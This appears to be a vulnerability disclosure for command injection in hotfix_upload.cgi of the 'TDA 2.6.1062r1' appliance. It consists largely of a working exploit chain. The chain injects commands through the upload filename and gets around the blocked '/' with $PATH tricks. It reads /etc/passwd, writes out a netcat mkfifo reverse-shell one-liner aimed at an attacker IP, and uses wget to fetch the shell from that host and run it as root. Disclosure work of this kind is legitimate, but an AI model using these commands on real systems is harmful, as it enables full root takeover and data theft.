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Version: TDA 2.6.1062r1 Summary: The hotfix_upload.cgi file contains a flaw allowing a user to execute commands under the context of the root user. Details: The hotfix_upload.cgi file is used to upload files (hot fixes). Below is a sample of the upload function being used: POST /cgi-bin/hotfix_upload.cgi?sID=hotfix_temp HTTP/1.1 Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */* Referer: https://<server IP>/cgi-bin/hotfix_history.cgi Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Content-Type: multipart/form-data; boundary=—————————7e0823930136 UA-CPU: AMD64 Accept-Encoding: gzip, deflate Host: <server IP> Content-Length: 206 Connection: close Cache-Control: no-cache Cookie: session_id= —————————–7e0823930136 Content-Disposition: form-data; name=”ajaxuploader_file”; filename=”test.txt” Content-Type: text/plain a —————————–7e0823930136– The actual injection takes place in the name of the file being uploaded (ie. filename=”test.txt&id”). By performing the following request, system information is sent back in the response: http://www.korpritzombie.com/wp-content/uploads/2016/07/1.png This gives any user the ability to execute simple non interactive commands. However, more complex (including remote shell) commands are possible. Special characters like ‘/’,'<‘,’>’ are not sent across to the server. But utilizing the environment itself, it becomes possible to insert characters like the ‘/’. Below is an example of a user using this method to retrieve the /etc/passwd file (NOTE: <code>echo $PATH | cut -c1</code> will print ‘/‘ to the final command): http://www.korpritzombie.com/wp-content/uploads/2016/07/2.png Now the attacker has the ability to create a shell by uploading a file containing the following (where [ip address] is your receiving machine): rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip address] 5555 >/tmp/f To upload the file, the attacker simply names this file to shell, then uploads using this vulnerability and wget: test.txt&wget http:<code>echo $PATH | cut -c1“echo $PATH | cut -c1</code>[ip]<code>echo $PATH | cut -c1</code>shell Once the file has been uploaded (it will be placed in /opt/TrendMicro/MinorityReport/www/cgi-bin), the attacker can chmod and then execute the file as a script, creating a reverse shell, running as root: test.xml&chmod a+x shell test.xml&.<code>echo $PATH | cut -c1</code>shell |
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